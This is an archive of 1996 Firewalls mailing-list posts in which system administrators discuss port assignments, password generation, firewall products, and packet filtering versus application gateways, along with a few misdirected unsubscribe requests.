
Block them all - if something breaks, then do something about it.

-- 
Brett Lymn, Computer Systems Administrator, AWA Defence Industries
===============================================================================
  "Upgrading your memory gives you MORE RAM!" - ad in MacWAREHOUSE catalogue.



From firewalls-owner  Mon Mar 11 00:33:10 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA01442 for firewalls-outgoing; Mon, 11 Mar 1996 00:22:33 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id AAA00957 for <firewalls@miles>; Mon, 11 Mar 1996 00:21:22 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id XAA03842; Sun, 10 Mar 1996 23:33:34 -0800
Received: from frontier.tno.nl(134.221.1.2) by mycroft via smap (V1.3mjr)
	id sma003836; Sun Mar 10 23:32:53 1996
Received: from iag.tno.nl (tivoli.iag.tno.nl) by frontier.tno.nl (4.1/1.53)
    id AA07253; Mon, 11 Mar 96 08:35:06 +0100
Received: from gi-22.iag.tno.nl by iag.tno.nl (SMI-8.6/SMI-SVR4)
	id IAA27268; Mon, 11 Mar 1996 08:34:55 +0100
Received: by gi-22.iag.tno.nl (5.x/SMI-SVR4)
	id AA01212; Mon, 11 Mar 1996 08:34:47 +0100
Date: Mon, 11 Mar 1996 08:34:47 +0100
From: visser@iag.tno.nl (Wilfred Visser)
Message-Id: <9603110734.AA01212@gi-22.iag.tno.nl>
To: Firewalls@GreatCircle.COM
Subject: stop
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Please stop forward the Firewalls-Digest to tim@metrolink.com.hk.

Thanks
 



Best Regards,

From firewalls-owner  Mon Mar 11 01:17:35 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA04592 for firewalls-outgoing; Mon, 11 Mar 1996 01:10:04 -0800 (PST)
Received: from nic.aic.net ([206.106.252.238]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id BAA04560 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 01:09:41 -0800 (PST)
Received: from NS.AIC.NET (NS.AIC.NET [194.67.30.65]) by nic.aic.net (8.6.12/8.6.12) with ESMTP id NAA02689 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 13:09:03 +0300
Received: (from edd@localhost) by NS.AIC.NET (SMI-SVR4 8.7.3/8.7.3) id NAA00475; Mon, 11 Mar 1996 13:06:23 -0400 (GMT)
From: Edgar Der-Danieliantz <edd@AIC.NET>
Message-Id: <199603111706.NAA00475@NS.AIC.NET>
Subject: Re: UNIX CVirus - 2nd try (pt 1)
To: scott@di2.disclosure.com (Scott Barman)
Date: Mon, 11 Mar 1996 13:06:22 -0400 (GMT)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <Pine.SUN.3.91.960309112714.26969A-100000@di2> from "Scott Barman" at Mar 9, 96 11:54:54 am
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Scott Barman:
> 
> That being said let me add my 2-cents in another direction: a system is
> only as secure as the policy used to administer it and the competence of
> the administrator(s) who has to implement that policy.  I don't care
> if we're talking about one of the various flavors of Unix, NT, OS/2 or
> even MVS, if you don't know and understand every aspect of that system
> and administer it accordingly, then regardless of whose model you use
> your system will not be as secure as it can be.  Period.

I completely agree.

> 
> As a consultant, I don't mind this aspect, it keeps me busy!  :-)  But
> it really is distressing!  Last week, I walked into a potential client
> whose misconfigured NT-based FTP server was attacked by someone who
> understood the hole.  He thought he did it right based on "the book" (he
> as a book from an M$ training class).  Was it NT's (or M$'s) fault
> because his system was misconfigured?  While I want to say yes (I hate
> the admin model of NT), I can't.
>

It was fault of user AND microsoft, IMHO.

 
> The bottom line is the tools are there for all systems.  Granted, some
> may be more difficult than others to use, but its the job of the
> adminstrator to learn to use them.  I can't tell you how many times I've
> asked Unix sys admins with less than five years of experience "what's
> the advantage of setting the sticky bit on a directory in a multi-user
> environment?" to only get an answer of "huh?"
>

really huh! :)
 
> I'll get off my soapbox now so those who want to flame can do so!  :-)

I won't.

> scott barman                  DISCLAIMER: I speak to anyone who will listen,
> scott@disclosure.com                      and I speak only for myself.
> barman@ix.netcom.com
>   "Micro$oft and Windoze/NT will be the cause of the de-evolution of
>    network security just as the original PC and BASIC was the cause of
>    the de-evolution of programming."	- scott barman

I like your .sig! :)


From firewalls-owner  Mon Mar 11 03:52:48 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA12967 for firewalls-outgoing; Mon, 11 Mar 1996 03:37:30 -0800 (PST)
Received: from solarnum.itd.uts.edu.au (solarnum.itd.uts.EDU.AU [138.25.16.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id DAA12931 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 03:37:16 -0800 (PST)
Received: from maverick.itd.uts.edu.au (matt@maverick.itd.uts.edu.au [138.25.16.41]) by solarnum.itd.uts.edu.au (8.7.3/8.7.1/uts) with ESMTP id WAA20680; Mon, 11 Mar 1996 22:34:16 +1000 (EST)
Received: (from matt@localhost) by maverick.itd.uts.edu.au (8.7.3/8.7.3/Jas) id VAA00185; Mon, 11 Mar 1996 21:34:56 +1000
From: Jas (Matthew K) <matt@maverick.itd.uts.edu.au>
Message-Id: <199603111134.VAA00185@maverick.itd.uts.edu.au>
Subject: Re: /etc/services entries
To: blymn@awadi.com.au (Brett Lymn)
Date: Mon, 11 Mar 1996 21:34:55 +1000 (EST)
Cc: chris@sandpiper.com, firewalls@GreatCircle.COM
In-Reply-To: <199603110605.QAA02155@mallee.awadi> from "Brett Lymn" at Mar 11, 96 04:35:00 pm
X-Ph: ph: +61 2 330 1390   fax: +61 2 330 1999   home: +61 2 9929 0717
X-Pager: +61 2 214 1111 #216098 or pager@maverick.itd.uts.edu.au
X-Pgp-Finger: pub 2048/27FB4AE1 1995/09/30 Jas (Matthew K) <matt@uts.edu.au>
X-Pgp-Finger: Key fingerprint = 3A1EEDBE7A6D498D E7953FB40A21A6C8 
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Brett Lymn wrote this...

> According to Chris Newton:

[stuff deleted]

>>> 	listen		2076/tcp

> unknown

system V network printing last time i checked...

[more deleted]

			Matt
-- 
#!/bin/sh
echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sbA0D3F204445524F42snlbxq'|dc;exit
  Matthew Keenan   Data Network Admin   Information Technology Division
        University of Technology     Sydney Australia

It's nice to be in a position where people apologize because they
assume there's humor in your work, based on past experience,
but they're not sure where it is. -- Rob Pike

From firewalls-owner  Mon Mar 11 05:06:16 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA17737 for firewalls-outgoing; Mon, 11 Mar 1996 04:58:16 -0800 (PST)
Received: from fievel.DaytonOH.ATTGIS.COM (h149-25-133-200.ATTGIS.COM [149.25.133.200]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id EAA17724 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 04:58:11 -0800 (PST)
Received: (from tmoore@localhost) by fievel.DaytonOH.ATTGIS.COM (8.7.3/8.7.3) id HAA28376; Mon, 11 Mar 1996 07:49:54 -0500 (EST)
From: Tom Moore <tmoore@fievel.DaytonOH.ATTGIS.COM>
Message-Id: <199603111249.HAA28376@fievel.DaytonOH.ATTGIS.COM>
Subject: Re: /etc/services entries
To: matt@maverick.itd.uts.edu.au (Jas (Matthew K))
Date: Mon, 11 Mar 1996 07:49:52 -0500 (EST)
Cc: blymn@awadi.com.au, chris@sandpiper.com, firewalls@GreatCircle.COM
In-Reply-To: <199603111134.VAA00185@maverick.itd.uts.edu.au> from "Jas (Matthew K)" at Mar 11, 1996 09:34:55 PM
X-Mailer: ELM [version 2.5 PL0a8]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Jas (Matthew K) wrote:
> 
> Brett Lymn wrote this...
> 
> > According to Chris Newton:
> 
> [stuff deleted]
> 
> >>> 	listen		2076/tcp
> 
> > unknown
> 
> system V network printing last time i checked...
> 
> [more deleted]
> 

Actually System V generic listener service.  Generally used for but not
limited to remote printing and UUCP connections.

-- 
"The problem with the future is that it keeps turning into the present" Hobbes

Tom Moore,  Electronic Messaging

From firewalls-owner  Mon Mar 11 06:02:30 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA19155 for firewalls-outgoing; Mon, 11 Mar 1996 05:53:16 -0800 (PST)
Received: from frontier.tno.nl (frontier.tno.nl [134.221.1.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA19150 for <Firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 05:53:11 -0800 (PST)
Received: from iag.tno.nl (tivoli.iag.tno.nl) by frontier.tno.nl (4.1/1.53)
    id AA01132; Mon, 11 Mar 96 14:51:26 +0100
Received: from gi-22.iag.tno.nl by iag.tno.nl (SMI-8.6/SMI-SVR4)
	id OAA03407; Mon, 11 Mar 1996 14:51:20 +0100
Received: by gi-22.iag.tno.nl (5.x/SMI-SVR4)
	id AA01977; Mon, 11 Mar 1996 14:51:13 +0100
Date: Mon, 11 Mar 1996 14:51:13 +0100
From: visser@iag.tno.nl (Wilfred Visser)
Message-Id: <9603111351.AA01977@gi-22.iag.tno.nl>
To: Firewalls@GreatCircle.COM
Subject: stop
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


----- Begin Included Message -----

>From firewalls-owner@GreatCircle.COM Mon Mar 11 13:13 MET 1996
Date: Mon, 11 Mar 1996 08:34:47 +0100
From: visser@iag.tno.nl (Wilfred Visser)
To: Firewalls@GreatCircle.COM
Subject: stop

Please stop forward the Firewalls-Digest to visser@iag.tno.nl

Thanks
 



Best Regards,

Wilfred
----- End Included Message -----


From firewalls-owner  Mon Mar 11 06:17:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA19757 for firewalls-outgoing; Mon, 11 Mar 1996 06:12:44 -0800 (PST)
Received: from notes.cti.ca (compucentre.com [204.191.35.68]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA19752 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 06:12:40 -0800 (PST)
Received: by notes.cti.ca (IBM OS/2 SENDMAIL VERSION 1.3.2)/1.41)
	  id AA6427; Mon, 11 Mar 96 09:04:22 -0800
Message-Id: <9603111704.AA6427@notes.cti.ca>
Received: from CompucentreToronto with "Lotus Notes Mail Gateway for SMTP"
  id 0758E81008417696852562EA004CA4AD; Mon, 11 Mar 96 09:04:21 
To: firewalls <firewalls@greatcircle.com>
From: Steve Benesko/CTI
  <Steve_Benesko@cti.ca>
Date: 11 Mar 96  9:02:58 EDT
Subject: Borderguard
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hello, 
I just thought I would poke and prod your brains to find out what the general 
consensus is on NSC Borderguard.
I saw a specs sheet on it and was mildly impressed...
... but then I saw the price tag on it ($3500 cdn) and my first reaction was 
"what's wrong with it???"
Of course getting an answer for a question like that from NSC left a bad taste 
in my mouth, so I want to know if anybody is actually using it, and what the 
caveats ACTUALLY are.
The only thing that I am aware of that it does not support is IP translation.


From firewalls-owner  Mon Mar 11 07:53:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA23928 for firewalls-outgoing; Mon, 11 Mar 1996 07:36:39 -0800 (PST)
Received: from filoli.filoli.com (filoli.com [204.162.0.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA23918 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 07:36:36 -0800 (PST)
Received: from sunspot.filoli.com (root@sunspot.filoli.com [204.162.1.17]) by filoli.filoli.com (8.6.10/8.6.9) with ESMTP id HAA01415 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 07:34:53 -0800
Received: from pau-amma.filoli.com (pau-amma.filoli.com [204.162.1.68]) by sunspot.filoli.com (8.6.12/8.6.9) with ESMTP id HAA16523 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 07:34:53 -0800
Received: by pau-amma.filoli.com (SMI-8.6/SMI-SVR4)
	id HAA20153; Mon, 11 Mar 1996 07:35:09 -0800
Date: Mon, 11 Mar 1996 07:35:09 -0800
From: dhw@filoli.com (David Wolfskill)
Message-Id: <199603111535.HAA20153@pau-amma.filoli.com>
To: firewalls@greatcircle.com
Subject: Re: Password generating program
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>From: Doug Hughes <Doug.Hughes@Eng.Auburn.EDU>
>Date: Fri, 8 Mar 1996 19:35:28 -0600

>I just want to point out that a random password program does have a valid
>use. We use it to generate new user accounts. A sheet prints out when
>they go to the computer to get a new account. This sheet has the students
>userid and a random password. On the sheet are instructions on how the
>student should change their password to something else and what good
>choices are. The student shows us his/her ID, we enable the account, and
>voila.  We do not force users to keep these passwords. In fact, we encourage
>them to change the password.

Fair enough, but other alternatives exist.

Back when I was still running a public-access UNIX box at home, one of
the questions that would be asked of a prospective subscriber is what
the initial password was to be.  (Naturally, I tried to encourage a
degree of "quality" for same....)  Still, the account would be created
with that password... which would be marked "expired," which forced the
subscriber to change it.

That certainly wasn't "perfect," yet seemed to work out reasonably well
in practice.

david
-- 
David Wolfskill				dhw@filoli.com

From firewalls-owner  Mon Mar 11 08:03:23 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA23057 for firewalls-outgoing; Mon, 11 Mar 1996 07:17:31 -0800 (PST)
Received: from cpmt2.cyberport.net (cpmt2.cyberport.net [204.94.49.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA23051 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 07:17:27 -0800 (PST)
Received: from cyb-pm1-019.cyberport.net (cyb-pm1-019.cyberport.net [204.94.49.79]) by cpmt2.cyberport.net (8.6.9/8.6.9) with SMTP id IAA12464 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 08:15:41 -0700
Message-Id: <199603111515.IAA12464@cpmt2.cyberport.net>
Comments: Authenticated sender is <rowens@cpmt2.cyberport.net>
From: rowens@cyberport.net
Organization: Flathead Valley Community College
To: firewalls@GreatCircle.COM
Date: Mon, 11 Mar 1996 08:15:13 +0000
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: Password generating program
X-mailer: Pegasus Mail for Windows (v2.23)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On  8 Mar 96 at 11:24, Rabid Wombat <wombat@mcfeely.bsfs.org> wrote:

> I heard about a U.S. Air Force site that forced a password generating 
> program on its users. It generated passwords that weren't pronounceable, 
> either.
> 
> The security audit team that went through found their way in to about 80% 
> of the systems by looking at the passwords written on sticky notes, etc. 
> in the immediate vicinity of the user's terminal/workstation.
> 
> IMHO, it is better to teach users to use secure passwords, and check for 
> non-secure ones. Anybody have a way of doing this when the password is 
> generated, rather than running CRACK every now and then?

Check the sample programs for _Programming Perl_; there's a dandy
passwd replacement that does this.  If you use it, you'll probably
have to edit the sections that read/write from/to the password
database, plus you may wish to change some of the rules it uses. 
-------------------------------------------------------
Rick Owens <rowens@cyberport.net>
Comp. Op. Tech (aka admin. sysop)
Flathead Valley Community College
Kalispell, MT
#include <std-disclaim.h>
-------------------------------------------------------

From firewalls-owner  Mon Mar 11 08:26:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA25406 for firewalls-outgoing; Mon, 11 Mar 1996 08:10:28 -0800 (PST)
Received: from inet-smtp-gw-1.us.oracle.com (inet-smtp-gw-1.us.oracle.com [192.86.155.81]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA25401 for <firewalls-digest@greatcircle.com>; Mon, 11 Mar 1996 08:10:24 -0800 (PST)
Received:  from mailm1.de.oracle.com by inet-smtp-gw-1.us.oracle.com with SMTP (8.6.12/37.7)
	id IAA05236; Mon, 11 Mar 1996 08:08:40 -0800
Received:  by mailm1.de.oracle.com (5.65/37.3)
	id AA10157; Mon, 11 Mar 96 16:42:56 +0100
Message-Id: <9603111542.AA10157@mailm1.de.oracle.com>
Date: Mon, 11 Mar 96 16:42:56 +0100
From: "Eva Wilkes" <EWILKES@de.oracle.com>
To: firewalls-digest@greatcircle.com
Subject: please subscribe
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


 
 
 *    * 
            *        ..        *                       * 
Gruesse            __##____              *                      * 
          *    *  /  ##  ****                   * 
Eva              /        ****               *         *  X   * 
           *    /        ******     *                    XXX      * 
               /___________*****          *             XXXXX 
                |            ***               *       XXXXXXX   X 
            *   | ___        |                    *   XXXXXXXX  XXX 
          *     | | |   ___  | *       *             XXXXXXXXXXXXXXX 
                | |_|   | |  ****             *           X   XXXXXXX 
            *********** | | *******      *                X      X 
         ************************************************************ 
:->********:->*******:->********:->********:->*******:->*******:->********** 
*    Eva Wilkes                             Tel.     :089/14977-307        * 
*    System-und Netzwerkspezialistin        Internet :eva@de.oracle.com    * 
*    ORACLE Germany, HQ Muenchen                                           * 
:->********:->*******:->********:->********:->*******:->*******:->********** 
 


From firewalls-owner  Mon Mar 11 09:00:10 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA26067 for firewalls-outgoing; Mon, 11 Mar 1996 08:27:42 -0800 (PST)
Received: from servant ([205.172.10.40]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA26061 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 08:27:38 -0800 (PST)
Received: from radiatore.mccaw-stg.com by servant (5.x/SMI-SVR4)
	id AA00980; Mon, 11 Mar 1996 08:25:55 -0800
Received: by radiatore.mccaw-stg.com (5.x/SMI-SVR4)
	id AA07746; Mon, 11 Mar 1996 08:25:55 -0800
Date: Mon, 11 Mar 1996 08:25:55 -0800
From: peterg@mccaw-stg.com (Peter Gregory)
Message-Id: <9603111625.AA07746@radiatore.mccaw-stg.com>
To: firewalls@greatcircle.com
Subject: books on security policies
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

folks,

are there any books in print that address real-life security policies?
there are any number of books on security (both networks and systems), but
none that i have seen to date discuss - in any detail - an organization's
security policies: what they should include, etc.

thanks,

peter gregory

--

Peter Gregory  [NICname PG11]  peter.gregory@attws.com
Systems/Network Architect, AT&T Wireless Services, Strategic Technologies Group

From firewalls-owner  Mon Mar 11 09:02:27 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA22397 for firewalls-outgoing; Mon, 11 Mar 1996 07:06:49 -0800 (PST)
Received: from hatteras.ch.inri.com (hatteras.ch.inri.com [198.202.184.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA22335 for <Firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 07:05:56 -0800 (PST)
Received: from assateague.ch.inri.com (assateague.ch.inri.com [198.202.184.111]) by hatteras.ch.inri.com (8.6.12/8.6.6) with SMTP id KAA00990; Mon, 11 Mar 1996 10:07:09 -0500
Message-Id: <2.2.32.19960311150452.00724308@hatteras.ch.inri.com>
X-Sender: wlb@hatteras.ch.inri.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 11 Mar 1996 10:04:52 -0500
To: Colin Campbell <sgcccdc@citec.qld.gov.au>
From: Bill Bunting <wbunting@ch.inri.com>
Subject: Re: x400-gw?
Cc: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Please let me know what you find out.  

I looked into this subject and have seen it appear on this list several
times before, but there is never a response.  

Running the ISO stack on top of TCP means that you really need to have an
ISO firewall on top of your TCP/IP firewall.  If you let ISO ride on top of
TCP, you may open many more doors than just X.400.  What you really need is
an ISO stack proxy.  The popularity of X.400 is just not there for firewall
vendors to support X.400/X.500.

In the U.S. pressure to implement X.400 is there for DoD groups since the
Defense Message System is "going" to be based on X.400.  However, today,
most people still pass mail from X.400 to SMTP for delivery across the Internet.

Thank you,
-Bill.

At 03:40 PM 3/8/96 +1000, you wrote:
>Stop laughing at me!!!
>
>Does anyone have/know of an x.400 gateway? I have possible need
>of something to filter some mail. The current proposal is to 
>use RFC1006 and tunnel X.400 through our firewall. I just read
>said document and was less than impressed by the implications
>of our intended actions.
>
>Therefore I am desperately seeking susan or a smap/smapd-like
>combination for the firewall.
>
>Colin
>
>

 --------------------------------------- 
|    Bill Bunting, Software Engineer    |     ******
|Inter-National Research Institute, Inc.|   ***_******_  __    _  
| 1441 Crossways Boulevard, Suite 102   |  ===//=/\**//=/- )==//=
|     Chesapeake, Virginia 23320        | {==//=//\\//=//||==//==
|    V(804)424-8675 F(804)420-4262      |  =//=//==\/*//=||=//===
|         (wbunting@inri.com)           |   *********  
|         (bunting@cs.odu.edu)          |     *****   
|    http://www.cs.odu.edu/~bunting     | 
 --------------------------------------- 


From firewalls-owner  Mon Mar 11 09:05:23 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA25844 for firewalls-outgoing; Mon, 11 Mar 1996 08:23:23 -0800 (PST)
Received: from ncar.UCAR.EDU (ncar.ucar.edu [192.52.106.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA25838 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 08:23:16 -0800 (PST)
Message-Id: <199603111614.JAA13047@ncar.ucar.EDU>
Received: by ncar.ucar.EDU (NCAR Local/ NCAR Central Post Office 03/11/93)
	id JAA13047; Mon, 11 Mar 1996 09:14:36 -0700 (MST)
Subject: Re: Eternal war: gateway versus filtering
To: weber@iez.com (Rolf Weber)
Date: Mon, 11 Mar 96 9:14:34 MST
Cc: frankw@in.net, firewalls@GreatCircle.COM
In-Reply-To: <9603081612.AA11731@spibm02>; from "Rolf Weber" at Mar 8, 96 5:12 pm
From: woods@ncar.ucar.edu (Greg Woods)
X-Mailer: ELM [version 2.3 PL11]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> if a vendor offers both, he can advise his customers much better which art
> of firewall would be the best for *this* customer.
> the daily maintaining of the firewall is another story.

I personally would not trust advice on what I should buy coming from
someone who is trying to sell me something. Most salesmen are not
technical experts, so even giving them the benefit of the doubt and
assuming they are being honest about it and not just trying to sell me
what they want to sell regardless of my real needs, which is always a
possibility, they can't be expected to be able to analyze my technical
situation and make recommendations. A good salesman knows enough about
the technology to provide useful information on the product, but that's
about it.

To any sales people who are offended by these comments, I can only say
that even if the sales person is 100% honest and genuinely interested
in pleasing the customer, there is no way *I* can know that a priori.
So I always have to take any recommendations from sales people with a
grain of salt.

--Greg

From firewalls-owner  Mon Mar 11 09:18:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA25884 for firewalls-outgoing; Mon, 11 Mar 1996 08:24:37 -0800 (PST)
Received: from eagle1.raptor.com (raptor.com [204.7.243.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA25877 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 08:24:27 -0800 (PST)
Received: from raptor1.raptor.com ([204.7.242.10]) by eagle1.raptor.com
          via smtpd (for miles.greatcircle.com [198.102.244.34]) with SMTP; 11 Mar 1996 16:22:35 UT
Received: (from arogers@localhost) by raptor1.raptor.com (8.7.3/8.7.3) id LAA19639; Mon, 11 Mar 1996 11:22:23 -0500 (EST)
Date: Mon, 11 Mar 1996 11:22:23 -0500 (EST)
From: Allen Rogers <arogers@raptor.com>
Message-Id: <199603111622.LAA19639@raptor1.raptor.com>
To: firewalls@GreatCircle.COM
Subject: Re: Chameleon NetManage FTP/Raptor FW
X-Sun-Charset: US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



>Return-Path: <firewalls-owner@GreatCircle.COM>
>From: jwright@zerby.com
>Subject: Chameleon NetManage FTP/Raptor FW
>To: firewalls@GreatCircle.COM
>Date: Fri, 8 Mar 1996 09:52:31 -0500 (EST)
>Sender: firewalls-owner@GreatCircle.COM
>
>Howdy,
>
>I find myself in the unenviable position of having to support a Raptor 
>firewall.  I am having nothing but problems with the crazy thing and all that I
>can say is that I am glad I wasn't involved in the purchase decision.
>
>
>Has anyone gotten Chameleon Netmanage 4.5's FTP to work through the thing with
>gateway authentication?  After my previous experiences with the Raptor's tech
>support and after reading this:
>

We have worked with the folks at Netmanage and have verified that they have
a bug in the way that they handle the ftp account command. Due to the
nature of the ftp protocol and the ammount of information that needs to
be exchanged  in order for a firewall to perform user authentication we
are forced do overload the available ftp commands. This includes using the
account command to pass the firewall password. Due to the Netmanage bug
it is not possible to get user authenticated ftp to work through the Eagle.

If there are any other questions or issues with the Raptor Eagle please contact
Raptor Systems customer support and we will see to it that they are
addressed.

Allen Rogers
Raptor Systems, Inc.

From firewalls-owner  Mon Mar 11 10:09:04 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA01037 for firewalls-outgoing; Mon, 11 Mar 1996 09:59:25 -0800 (PST)
Received: from iez.com (mail.iez.com [194.218.38.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA01020 for <firewalls@greatcircle.com>; Mon, 11 Mar 1996 09:59:10 -0800 (PST)
Received: by iez.com (AIX 3.2/UCB 5.64/4.03)
          id AA09375; Mon, 11 Mar 1996 18:58:05 +0100
Received: from spibm02(172.16.13.62) by iez.com via smap (V1.3)
	id sma008347; Mon Mar 11 18:57:48 1996
Received: from iez.com by spibm02 (AIX 3.2/UCB 5.64/4.03)
          id AA12586; Mon, 11 Mar 1996 18:55:26 +0100
Message-Id: <9603111755.AA12586@spibm02>
Received: from inhps-a by iez.com with SMTP
	(1.37.109.4/16.2) id AA15008; Mon, 11 Mar 96 18:55:26 +0100
Received: by inhps-a
	(1.38.193.3/16.2) id AA28714; Mon, 11 Mar 96 18:55:24 +0100
From: Rolf Weber <weber@iez.com>
Subject: Re: Eternal war: gateway versus filtering
To: woods@ncar.UCAR.EDU (Greg Woods)
Date: Mon, 11 Mar 1996 18:55:23 +0100 (MEZ)
Cc: firewalls@greatcircle.com (firewalls)
In-Reply-To: <199603111614.JAA13047@ncar.ucar.EDU> from "Greg Woods" at Mar 11, 96 09:14:34 am
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> I personally would not trust advice on what I should buy coming from
> someone who is trying to sell me something. Most salesmen are not
> 
you said it, *you* personally wouldn't trust, because you probably
have enough knowledge of this topic.
but what's with people who don't?
they have to trust someone...but i don't want to go on.
this discussion is only sufficiant if there are significant differences
between modern packet filters and application level gateways.

this leads me back to the beginning of this thread...
when i began to learn about firewalls, i mostly heard packet filters
are less secure because:
1. they are hard to configure properly
     assuming it's made by an expert, this shouldn't be a good argument.
2. some protocolls make problems (e.g. FTP, data channel)
     with modern dynamic packet filters, this shouldn't be, too.
OTOH, the advantages of a packet filer should be:
1. flexibility
     it's the question whether this is really an advantage. but the
     vendors offer proxies for the most used services, so this isn't
     important for most sites.
2. performance (?!?!)
     this is, IMHO, the point. nowadays, most sites are connected with
     T1 lines (or ISDN in europe). for such connections, even the
     slowest firewall should be fast enough. but this is the situation
     of today, not of tomorrow.
     i did never made any performance test, it's only my feeling which
     tells me that packet filters should be faster as application level
     gateways.
     i think transparent firewalls like gauntlet do fire off the proxy
     when the (modified) kernel sees a request.
     it would be very interesting to hear from someone who made a test
     with a kernel build-in proxy and compared it with a fired-off
     proxy.
     some of you (incl. myself) made suggestions, but i never saw any
     measured data.

or did i overlook some important point?

[perhaps i should have posted this to firewalls-performance, too, but
this list doesn't want any 'perhaps' or 'probably' and while i'm not
a technical expert, only a interested user, i didn't]

rolf
-- 
-----------------------------------------
Rolf Weber <weber@iez.com> | All I ask is a chance
IEZ AG   D-64625 Bensheim  | to prove that money
++49-6251-1309-113         | can't make me happy.

From firewalls-owner  Mon Mar 11 11:13:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA03807 for firewalls-outgoing; Mon, 11 Mar 1996 10:45:32 -0800 (PST)
Received: from plc.com (plc.com [204.91.186.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA03802 for <firewalls@GreatCircle.COM>; Mon, 11 Mar 1996 10:45:28 -0800 (PST)
Date: Mon, 11 Mar 1996 10:45:28 -0800 (PST)
Message-Id: <199603111845.KAA03802@miles.greatcircle.com>
Received: from plc by plc.com; Mon, 11 Mar 96 13:34 EST
From: sar@plc.com
To: Jas (Matthew K) <matt@maverick.itd.uts.edu.au>,
        blymn@awadi.com.au (Brett Lymn)
Cc: chris@sandpiper.com, firewalls@GreatCircle.COM
Subject: Re: /etc/services entries
Content-Type: text/plain
Original-Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

 >[stuff deleted]
 >
 >>>> 	listen		2076/tcp
 >
 >> unknown
 >
 >system V network printing last time i checked...
 >
 >[more deleted]
 >
 >			Matt

